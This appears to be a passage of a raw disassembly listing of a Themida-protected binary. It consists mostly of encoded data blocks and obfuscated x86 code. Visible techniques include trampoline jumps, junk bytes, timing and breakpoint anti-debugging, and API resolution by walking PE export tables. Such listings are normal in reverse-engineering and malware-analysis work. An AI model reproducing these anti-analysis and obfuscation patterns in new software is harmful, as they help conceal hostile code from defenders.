--------------------------------------------------------------------------- loc_581521: ; CODE XREF: Themida_:0058150Bj jno loc_58152D add [ebp+6A814C9h], edx loc_58152D: ; CODE XREF: Themida_:loc_581521j mov [ebp+6A81EADh], eax push 0 push ecx call sub_58153E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58153E proc near ; CODE XREF: Themida_:00581536p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58153E endp ; --------------------------------------------------------------------------- dw 0D54Dh dd 7A46CD5Fh, 0A36E7519h, 64DB531h, 896406A8h, 25h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F6F4F31h, 681h, 718D8900h, 8906A802h, 0A832ADBDh, 0D9858D06h dd 6A06AB7Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 7BE0C357h, 0F016089h, 68Dh, 198D8900h dd 0E906A809h, 29Ch, 6810Fh, 95290000h, 6A82E0Dh, 0E8DB8Bh dd 5D000000h, 7BD2ED81h, 9CBC06ABh, 830012FFh, 0A81FE5BDh dd 18740006h, 0D19858Bh, 0C606A8h, 0A1858B00h, 0C606A832h dd 95FF0000h, 6A80081h, 3DB5FF60h, 8D06AB65h, 0AB654185h dd 858D5006h, 6AB6739h, 3595FF50h, 8306A822h, 6A610CC4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 4667C352h, 72EF93Ch, 0D9B5890Eh, 6A06A80Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 35BFC357h, 0B5311A4Bh, 6A8140Dh, 6739B58Dh dd 9D0106ABh, 6A802EDh, 22DDBD8Dh, 870F06A8h, 6, 250D9501h dd 3E8006A8h, 0AD840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 95A1C357h dd 9E97232h, 77000000h, 22024028h, 0F24E564Fh, 0BE960h dd 0D6F50000h, 758C937Bh, 0E24CE03h, 0CD9529B9h, 6106A82Eh dd 56006AA4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 871C084Fh, 9890F8Ah, 60000000h, 0F779DA81h dd 61F91A09h, 9E9h, 87898000h, 5DED00D1h, 6FE9F2F1h, 6AFFFFFFh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 1CB1C352h, 1800FDEh, 0FC000000h, 0B8h, 8E900h dd 0E9EA0000h, 0EEF2CBB6h, 85010990h, 6A831B5h, 50006AAAh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 617763D9h, 0F903AE1Ch, 7B8F5h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CAE7C9C3h dd 0D565C01h, 12E9h, 9B481300h, 0B169D12Eh, 8E253EDDh dd 623912DEh, 0C72B7DFBh, 0A8162D85h, 106h, 0C860F00h dd 0F000000h, 68Bh, 99BD0900h, 8D06A820h, 0A84FAF8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E76A7EA0h, 870F60D5h, 0 ; --------------------------------------------------------------------------- popa jmp ecx ; --------------------------------------------------------------------------- push 0 push edx call sub_58181E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58181E proc near ; CODE XREF: Themida_:00581816p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58181E endp ; --------------------------------------------------------------------------- dw 0FA6Eh dd 7E4A6820h, 0A5BD31ECh, 8B06A805h, 550C245Ch, 0E8h, 0ED815D00h dd 6AB7E38h, 0B8838Bh, 85890000h, 6AB653Dh, 7BCB858Dh dd 838906ABh, 0B8h, 0C3C0335Dh, 33E58D31h, 6A06A8h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0B86224C3h, 30998D29h, 0E96006A8h, 0Ch, 0D1FF579Ch dd 36E594E8h, 0BE99C3E8h, 812E858Dh, 6A06ABh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EF3437C3h dd 0E990F8EAh, 7, 0A5D88EB7h, 506CBC6Ah, 0B9605250h, 44A92071h dd 0F617FB3h, 28A0F31h, 60000000h, 90585A61h, 29BD8B60h dd 2306A82Ah, 0A817D995h, 0B5296106h, 6A83001h, 35FF64h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 246EC350h, 0BC90BBAEh, 6408DA72h dd 2589h, 820F0000h, 10h, 0A8F0Fh, 5E90000h, 21000000h dd 0D276976Eh, 7E9h, 0A0122F00h, 1EBBDC62h, 81BE858Dh dd 0BE906ABh, 0F9000000h, 0AF0CB730h, 0C3715E3Dh, 608943B0h dd 0A800F01h, 60000000h, 880F08B7h, 0 dd 0B5296061h, 6A805B1h, 68A0Fh, 0D8810000h, 32676E2h dd 0D585C661h, 4F06A815h, 0A9D9529h, 4E806A8h, 2A000000h dd 60FEC874h, 0C68B6660h, 61615E53h, 128C0F50h, 50000000h dd 0F525052h, 0F585A31h, 880F31h, 5A000000h, 24448B58h dd 0F525004h, 138Eh, 0EE900h, 0DA930000h, 2B9A2CCFh, 88B99944h dd 46BB64E9h, 0E960310Fh, 9, 0E14682C6h, 1C0E51EFh, 616160ADh dd 8B585Ah, 52505250h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 9E9310Fh, 0A7000000h, 7B9570F6h, 45C86428h dd 4489585Ah, 0E8600424h, 0Bh, 3A57B103h, 7023ABB9h, 0FE267D8h dd 84h, 3EBA5E00h, 61798D72h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 3D3AE378h dd 84AD59BBh, 0F95B5FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0E43A18C3h, 3185748Ch dd 0A82BA995h, 71858D06h, 6A06AB69h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 22D4C355h dd 208DF821h, 0D0FFF905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0F4C35545h, 0D875BBC9h, 0F3BCDF2h, 181h dd 8A0FF500h, 0Ch, 6840Fh, 0BD890000h, 6A831B5h, 0C2E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0C5C0BFE8h, 0DBD295Eh, 0E906A80Ch, 7, 791D5429h dd 8B5805BCh, 550C245Ch, 0E8h, 0ED815D00h, 6AB8138h, 31F9858Bh dd 858906A8h, 6A80F95h, 0D2D858Bh, 858906A8h, 6A80DB5h dd 69D858Bh, 858906A8h, 6A80219h, 15D585C6h, 0C70006A8h dd 0AB6ABF85h, 6, 0BE858D00h, 8906AB81h, 0B883h, 0C0335D00h dd 0FE9F8C3h, 18000000h, 97BC2317h, 0B18B3204h, 76039DCFh dd 6A46D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0BB52E8C3h, 93B53D64h, 0BC095046h, 12FF74h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 56C35141h dd 595D8598h, 4CC1E0AFh, 6810FB8h, 89000000h, 0A81C3185h dd 58F6406h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_581C13 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581C13 proc near ; CODE XREF: Themida_:00581C0Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_581C13 endp ; --------------------------------------------------------------------------- jmp short loc_581C3B ; --------------------------------------------------------------------------- db 2Bh, 0D0h, 17h dd 0C98D09ABh, 0FC06A802h, 96BB6660h, 8361F8CAh ; --------------------------------------------------------------------------- les eax, [edx+ebp*2] loc_581C3B: ; CODE XREF: Themida_:00581C23j add [edx-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F222B7C3h, 68E0Fh, 85310000h, 6A82EF5h, 12E9h, 8A587600h dd 660EFB65h, 3029331h, 9639EEEDh, 61D28F6Fh, 464934EBh dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0) dd 0C8E90000h, 60000006h, 1236BB66h, 61CABF0Fh, 0C88B6060h dd 6850Fh, 0D1810000h, 5F702510h, 9985C761h, 6AB82h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0CC40C350h, 8BE3F93Bh, 52006AC6h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D8B70FBCh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h dd 0C16D4523h, 66F810E8h, 0F08C8C1h, 18Dh, 8589F800h, 6AB829Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 2CC35242h dd 53EA9DB4h, 81666094h, 0FA8CFD0h, 381h, 0D2BF0F00h, 0CBC16661h dd 7820F08h, 0F000000h, 18Dh, 0FB83F800h, 74850F40h, 0E9000000h dd 12h, 5E4E4AD8h, 78311D1Ch, 0FDC8ECCBh, 0FA50C17Ch, 8B0F9FB2h dd 1, 71BD8DF9h, 6A06AB82h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 486EC351h, 0EE9ECh dd 92FB0000h, 5C930BC3h, 0FE62BA48h, 0B1D42B8Ah, 156E9h dd 1820F00h, 0F9000000h, 0EE9h, 0F170D200h, 23D0170Fh dd 0EAE65B87h, 83CBEDCEh, 850F0DFBh, 45h, 79BD8DFCh, 6A06AB82h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 76EEC350h, 0F90840Bh, 18Fh, 0E9FCF500h, 0FFh dd 0DEBF0F60h, 68E0Fh, 0F0810000h, 701B8B76h, 1FB8361h dd 3F850Fh, 60F80000h, 12E9h, 0D38B4400h, 9B51F274h, 5CF241A1h dd 0CF740EF9h, 0FB8CFA6h, 8D61F2B7h, 0AB8281BDh, 1870F06h dd 0F5000000h, 0B6E9h, 0BE900h, 0B97F0000h, 0CB2EB586h dd 6F73470Ah, 2AFB8382h, 45850Fh, 9E90000h, 26000000h dd 6ECBE2C0h, 0B64BC119h, 89BD8DF9h, 6006AB82h, 2870Fh dd 58500000h, 0E961F28Bh, 77h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 14C35545h, 83042176h, 850F27FBh dd 2ABh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0D2C35141h, 467C0C16h, 10E94Bh, 0ECCE0000h, 0A07B4D3Dh dd 0B8BBD635h, 3FB2DABCh, 0BD8D5F9Ch, 6AB8291h, 0EE9h dd 0DABE4B00h, 5E86400Ch, 5400A244h, 8912D6BAh, 0AB82A1BDh dd 0FE906h, 201F0000h, 41F32BE7h, 63AA4ACCh, 0F2B9D33Eh dd 1860FE4h, 0F5000000h, 6AC88C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E7DFC353h dd 8E9h, 5CC73F00h, 0EA599EBCh, 6A0324B7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0A8AC353h dd 62850FC0h, 0E9000001h, 0Bh, 2C8E2309h, 4061F34Bh, 0F9FDEC5h dd 184h, 0B58DF800h, 6AB882Eh, 148A0Fh, 0FE90000h, 15000000h dd 99CCFECCh, 0A6E40471h, 0A800A606h, 858B2D85h, 6AB88C2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h dd 9ADCB35Fh, 4B98ECBBh, 0C860FFFh, 60000000h, 880Fh, 0BE660000h dd 9261FFE0h, 860F5250h, 13h, 0EE9h, 0F7310200h, 1687B83Ch dd 0C55B7CEFh, 0F8EB447h, 58506031h, 0DE9h, 0E68ABB00h dd 0DAB4037Bh, 0B371AE3Ah, 5A6114CEh, 7E95058h, 96000000h dd 0C50F8F42h, 6A92CF83h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 333DC357h, 4C010F64h dd 870FFE24h, 1Eh, 188E0Fh, 13E90000h, 1B000000h, 25400106h dd 14ECB710h, 0AE6D1A1Fh, 0C33D52A2h, 605A639Ch, 11E9h dd 0BA60CB00h, 7B3BE6CAh, 77EC8846h, 0FDD57B40h, 0FE9D9A7h dd 0D5000000h, 0D4E07CE6h, 166FE714h, 54E63DC7h, 83614AB0h dd 666024C2h, 80303ABFh, 666102C6h, 0F9FC7289h, 0F810CEC1h dd 2728966h, 0BF0F60F9h, 47C781F1h, 6129FC02h, 0F8F904CDh dd 67E9h, 8B666000h, 61CB80D7h, 0C2858B61h, 6A06AB88h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 5960C350h, 0F2B25FD4h, 0B58DFCEFh, 6AB882Eh dd 9B858DF9h, 6A06AB3Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 1032C355h, 0C4F872FAh dd 89BF2C6h, 0F8D0FFF9h, 82998589h, 6A06ABh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 33BF11C3h dd 61B0A7EEh, 80F38B60h, 8B614FE0h, 0AB829985h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E9EC4FB8h, 0Ch, 708F7DB7h, 10D8F314h, 0D21EC580h, 56006AC3h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 5D62D3h, 70212AF9h, 14E9h, 0B7792600h, 15E72A8Fh, 104F0CD7h dd 0C75646B1h, 87AC51FDh, 8166609Ah, 0FBFBEC1h, 0E961F1BFh dd 0Bh, 971045ECh, 140B6638h, 60BFA92Ch, 860FF860h, 2 dd 83615F51h, 0AB88C2BDh, 850F0006h, 52h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DBC35545h, 4CD976FCh dd 13E90030h, 81000000h, 4BE5033Ah, 5661F1EAh, 4054B678h dd 389C0A7Eh, 85C720B5h, 6AB88C2h, 1013Fh, 8880Fh, 8A0F0000h dd 2, 22E96160h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 6325C357h, 0D3F837E3h dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 6AB82A1h dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 6AB829Dh, 7F34583Bh dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 6AB8299h, 8B04EBh dd 8B61C5EBh, 0AB829985h, 6ACF06h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0BF8D11C3h, 0ACE145DFh dd 60291B37h, 5D1CF181h, 8166210Ch, 617504C6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 99C35040h, 5778ADC5h dd 0E9F5C32Bh, 0Fh, 327AE946h, 3C4C85D1h, 22D9F4BFh, 8B9FFBB4h dd 0FE8C0h, 8FB20000h, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h dd 0CDE5806Eh, 81CC8A5Eh, 66EFC6h, 8E0F5600h, 3, 59CA8B66h dd 68h, 0F85AFC00h, 0B916048Bh, 6957E368h, 8666C081h, 0E3B70E02h dd 3D96E881h, 0CA8B08D1h, 0B58EF081h, 0EB8061B2h, 0B70F502Fh dd 16048FC8h, 890FF88Bh, 0Ah, 5E9h, 242BB00h, 0EA83811Ch dd 0FB8B5604h, 0ACFA8159h, 0FFFFF99h, 0D85h, 1EE9F900h dd 0D1000000h, 65F51FB5h, 56577D9Ch, 68D6BF66h, 99E9595Fh dd 0B2FFFFFFh, 4677C2A0h, 0A788B74Ch, 83E93Ah, 51530000h dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h, 5C03785Bh dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah dd 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh dword_5824B0 dd 148h, 78h, 7Ch, 80h, 84h, 88h, 8Ch, 90h, 94h, 0D8h dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh dd 100h, 104h, 108h, 10Ch, 110h, 114h, 38h dup(0) dd offset dword_5824B0+64h ; --------------------------------------------------------------------------- jmp short loc_58264A ; --------------------------------------------------------------------------- dw 0A2h dd 8AA7858Dh, 0D78106ABh, 7D197145h, 8BE78589h, 8A0F06ABh dd 8, 28F0Fh, 5F570000h, 15D585C6h, 0F5406A8h, 5868FFBFh dd 8B8443E7h, 240481D8h, 6A1E80D1h, 0F8D9D89h, 0B5FF06A8h dd 6A80F95h, 5E9h, 0B3E37F00h db 0, 7Fh ; --------------------------------------------------------------------------- loc_58264A: ; CODE XREF: Themida_:005825F8j clc lea eax, [ebp+6AB6971h] mov esi, 4FDBB217h call eax mov esi, edi mov [ebp+6AB8BEBh], eax jno loc_582681 call near ptr loc_582678+2 mov edi, [ecx] dec ecx in eax, 0A9h ; Interrupt Controller #2, 8259A out 98h, al cmc push 0F51A17C9h loc_582678: ; CODE XREF: Themida_:00582666p repne call near ptr 3269B3A7h test al, 6 pop edi loc_582681: ; CODE XREF: Themida_:00582660j jmp loc_5826C9 ; --------------------------------------------------------------------------- xor edx, [ebp+6A80A89h] push esi mov esi, [ebp+6AB8BE7h] mov [esi], eax add dword ptr [ebp+6AB8BE7h], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+6AB8AA7h] jmp short loc_5826B6 ; --------------------------------------------------------------------------- loc_5826A7: ; CODE XREF: Themida_:005826B9j push esi push 0 push dword ptr [esi] call dword ptr [ebp+6AB8BEBh] pop esi add esi, 4 loc_5826B6: ; CODE XREF: Themida_:005826A5j cmp dword ptr [esi], 0 jnz short loc_5826A7 popa retn ; --------------------------------------------------------------------------- xor [ebp+6A83209h], edx sub [ebp+6A80D3Dh], ecx loc_5826C9: ; CODE XREF: Themida_:loc_582681j lea eax, [ebp+6AB8C91h] and ebx, 175B2FD1h mov [ebp+6A83345h], eax mov [ebp+6A81ADDh], eax call sub_5826F2 clc retn ; --------------------------------------------------------------------------- dd 8666DDE9h, 4038B94h ; --------------------------------------------------------------------------- push ds retn ; =============== S U B R O U T I N E ======================================= sub_5826F2 proc near ; CODE XREF: Themida_:005826E1p jz loc_582713 pusha mov [ebp+6A81531h], eax call sub_582711 fcomp dword ptr [edi+6AF5828Fh] sub al, 27h popa lodsb mov bh, 0E8h dec edx sub_5826F2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_582711 proc near ; CODE XREF: sub_5826F2+Dp pop edi popa loc_582713: ; CODE XREF: sub_5826F2j pop esi and cx, 1ED3h add esi, 5E66h xor [ebp+6A82791h], esi xor edi, edi or ebx, [ebp+6A81101h] push dword ptr [edi+esi] push edi movsx edx, bx pop edx pop eax jg loc_58274D jmp loc_58274D ; --------------------------------------------------------------------------- db 8Ch, 69h, 0A6h dd 4E6C3B71h, 4F44C128h db 0B8h ; --------------------------------------------------------------------------- loc_58274D: ; CODE XREF: sub_582711+25j ; sub_582711+2Bj sub eax, 4AF2C96Fh sub ebx, [ebp+6A800E1h] sub eax, 701DE8CEh mov ecx, [ebp+6A82115h] sub eax, 55D3FB18h mov cl, 0D7h mov [esi+edi], eax mov cl, bl mov dh, 1Ch sub edi, 3 call near ptr loc_58278B+2 imul ebp, [edi-36h], 19h in eax, 79h mov ah, 88h sbb ah, al adc byte ptr [eax-0Bh], 0B0h movsd loc_58278B: ; CODE XREF: sub_582711+66p repne cmp [ecx], al sub_582711 endp ; sp-analysis failed mov ch, 15h sub ebp, [eax-7EB0A5FAh] call dword ptr [edx-1] dec dword ptr [edi] test [edi+edi*8-48F00001h], ecx iret ; --------------------------------------------------------------------------- jmp loc_5828A2 ; --------------------------------------------------------------------------- db 0E3h, 2Ah, 0C4h dd 55C9749h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh dd 0A0A3D25Dh, 1E59h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5828A2: ; CODE XREF: Themida_:005827A4j jmp loc_583545 ; --------------------------------------------------------------------------- push 6AB90E2h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB91FCh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB92C1h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB939Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB943Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB94ECh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB9646h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB972Ch jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB9826h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB9904h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AB99C0h jmp loc_5517CE ; --------------------------------------------------------------------------- not dword ptr [eax+19h] lea esp, [edx] or eax, 3751F248h jle short loc_582949 xchg ebp, ebx scasb sbb [edi-3FB0246Ah], dh mov cl, 61h ror byte ptr [ebp-460B69C7h], 6Dh retn 0EBA2h ; --------------------------------------------------------------------------- dw 0F45Fh ; --------------------------------------------------------------------------- push ecx sbb [edx-7D793FE6h], al add si, [esi-0C23C5C0h] push edx pop ds xchg eax, edx loc_582949: ; CODE XREF: Themida_:0058291Fj cdq sub [esi], al dec ebx in eax, dx mov byte ptr [edx+5FF93459h], 16h mov [eax-8DE8559h], edx sub ds:1C3EE74Ch, al push ecx int 3 ; Trap to Debugger popa hlt ; --------------------------------------------------------------------------- db 2Bh, 24h, 1 dd 0EB49F248h, 40FB12B1h, 0CDA61817h, 0E9BCEF19h, 0AD86B600h dd 5EF69679h, 0AE7BC2FBh, 0C4544DEFh, 2771FB67h, 143D5742h dd 0B0D35CDCh, 3547ADF9h, 52091D49h, 0E8B7E16Dh, 9CDE0C45h dd 30AF1EAFh, 6D24475Fh, 0BAFED7C0h, 8E0601C9h, 2A83B601h dd 0AAE38289h, 0D990B31Ch, 0E9ACC22Dh, 2043DC4Fh, 73A00388h dd 261F6E80h, 149D36F9h, 0E3276E0Dh, 767E5F4Bh, 12D9614h dd 4226D444h, 38000005h, 8DFEBBD7h, 2A71A7EEh, 0AED85CFFh dd 0AF57D76Ah, 2BE7FF58h, 0F97E2BC7h, 26FF241Dh, 4FF84E07h dd 0AB056EDh, 5EC38AA9h, 0F21DEB4Dh, 0D0B60012h, 32604367h dd 8ABECC96h, 49222993h, 0BAFA7CEFh, 0D6B600C3h, 0CAA6B47Dh dd 2D14773Fh, 3Bh, 86B5E7F6h, 11B5AEE7h, 498F7h, 0D80C4EB6h dd 0C7B7867Bh, 32CD246h, 26585C9Eh, 0EE74B600h, 76335F40h dd 0D2D6F029h, 0B0B60025h, 0F9BA1187h, 77990DF9h, 0C2E814h dd 0BA330000h, 0A8CEAA30h, 0C96FACD0h, 218EC766h, 0D92DF80h dd 830F194h, 5ACB6841h, 0D234723Bh, 0AF5844C3h, 55183AA5h dd 912BDFC8h, 0AF584599h, 0C768C06Bh, 0F659EDA4h, 7E81E57h dd 188B2D64h, 60863D9Fh, 4C9326h, 40C671B6h, 38EE55C7h dd 0AAEE328Eh, 7DC610BCh, 0A4A7FDA1h, 0FCD590BEh, 0B7A0E98Bh dd 0C28FB013h, 16BADB44h, 0DA0DBA4Dh, 588079C4h, 0EC7CFF22h dd 0BF8001A2h, 1D000009h, 4CF7337Ah, 7B246227h, 0AD1694DDh dd 0DD46C481h, 2EB5F1BCh, 0ABE6878Bh, 0DF92B41Fh, 0D44E84Bh dd 3E7716B9h, 5CEE7CE8h, 0B603675Ch, 0FF3BE026h, 0B4FD9B5Eh dd 0DBAD2FDBh, 95039B6Dh, 13BC0692h, 0C6ED3970h, 0F7EFB5E7h dd 0F9314BBEh, 0CBAF582Dh, 0D4839660h, 678D3912h, 198B8F39h dd 0DE79AF58h, 47718C5Ah, 0F853B600h, 4773B3BBh, 230B600h dd 9420DA47h, 4D04C254h, 5B123293h, 42E358D6h, 7851183Bh dd 0C0D25338h, 14771FD4h, 0CF33h, 5CFF1400h, 76178815h dd 0E1DA9FB3h, 0DB6BBABCh, 0D77DAF57h, 57DB75B5h, 83E44FAFh dd 0A50AAEE3h, 496F2E86h, 6AAACBEFh, 0EB8A3571h, 6A430A2Ah dd 7A3F53BCh, 68CC4D3Eh, 638937D3h, 8E61D0E9h, 0FB74E28h dd 0AF589F0Bh, 316993F9h, 13AF589Fh, 1FE94F38h, 0B600A6CCh dd 3F7615B6h, 9D56A046h, 4421DD1Bh, 622F4FB0h, 59FB4C36h dd 1D82C4E2h, 0E7BCAB48h, 14359E4Ch, 0C162CD59h, 0E0185C8Ch dd 1B98EC7Ch, 8A5AAh, 2D640300h, 5C193699h, 8AC365CEh dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h dd 8ABFFB6h, 0E9E2C65h, 686EAADCh, 1654B603h, 135EFF29h dd 0A6EF6997h, 5D8DD4DDh, 238C2Ch, 0AC17FD49h, 4D56C287h dd 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h, 2C05A4E2h dd 0CCFA41F3h, 0FFED4FBAh, 0AE1A35B5h, 0C8614618h, 0D2DE18B4h dd 0C3878053h, 97058216h, 650FE2Ch, 2409F549h, 0E365B348h dd 0BB70B538h, 4246802Eh, 0BB70B5h, 5C7F8117h, 14997237h dd 257B2193h, 0CBCF79C7h, 0B9BB7025h, 0A30D449Eh, 0F517B3ACh dd 0C21BB322h, 309337E0h, 5DC6440Dh, 0D51773Eh, 8FE70C75h dd 7E0532Ch, 1B3E0000h, 0C66BD452h, 0FC9C0783h, 0A0CE71B5h dd 5DFEA1E5h, 6C0D8A10h, 72C885A6h, 0AEFCB1D1h, 982E6705h dd 0C95D1437h, 3D7D8F5Dh, 7B60369h, 5CFF5AC1h, 0AD0F8815h dd 304AF016h, 0AF57D6F8h, 1E1AACCAh, 0E4AF57D7h, 3E98524Bh dd 74BB3CA2h, 0F214DE5Ah, 0B6007E3Fh, 1D6CCB05h, 0D9073AEAh dd 3ABC5AE0h, 1372B804h, 0B176A255h, 0F802B803h, 0BCAC2635h dd 1D86240Fh, 50F3377Eh, 233F642Dh, 26474385h, 123DBCACh dd 51DE97B1h, 0E557D058h, 0B61EA85Eh, 8CC357B3h, 0F6D907A3h dd 0BAFF9459h, 0DA4B2475h, 0FCA3F5B8h, 0B9F09859h, 0BAD97AC0h dd 0BE97DA7Bh, 5E04A871h, 0C56CABEEh, 2B6F996Dh, 19C35780h dd 0BE6C453Eh, 0FF9A3D0Ch, 0FC2C07C9h, 0DF288D9Ch, 77EC7E4h dd 65000007h, 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h dd 76FD4904h, 0E3AECF43h, 175AFCA7h, 450C3093h, 763F5EC1h dd 14B6B430h, 0B6036A14h, 0E783A8EEh, 81B9C3B5h, 43AF57D7h dd 0E8CBFFE8h, 43A90F4Ah, 0D194BA25h, 0BDD5B4Ch, 0B60364B3h dd 9F00A691h, 8B71B5FCh, 0EA4E0B28h, 308E2645h, 24AC2E64h dd 4CCD524Bh, 78B9DBE8h, 78A59EDBh, 62CF8AA7h, 43675049h dd 0ABCE8A39h, 0CD365CBCh, 6CBDE2ABh, 0ABCE66A2h, 0A5F35CBCh dd 6183519Bh, 1114FAF3h, 0A7F03D70h, 4F33D5CEh, 41EC7D50h dd 664E162h, 0A7C20000h, 5AF758EEh, 288B1Fh, 3C52FD49h dd 0E1822D79h, 0E0911EACh, 0CE5C1132h, 3288C565h, 6CBAF391h dd 5DE9A0C3h, 0B1E913C9h, 93B6036Ah, 59BAEE55h, 0FE2F7439h dd 7C4FEDBAh, 1A1390D9h, 0CF738521h, 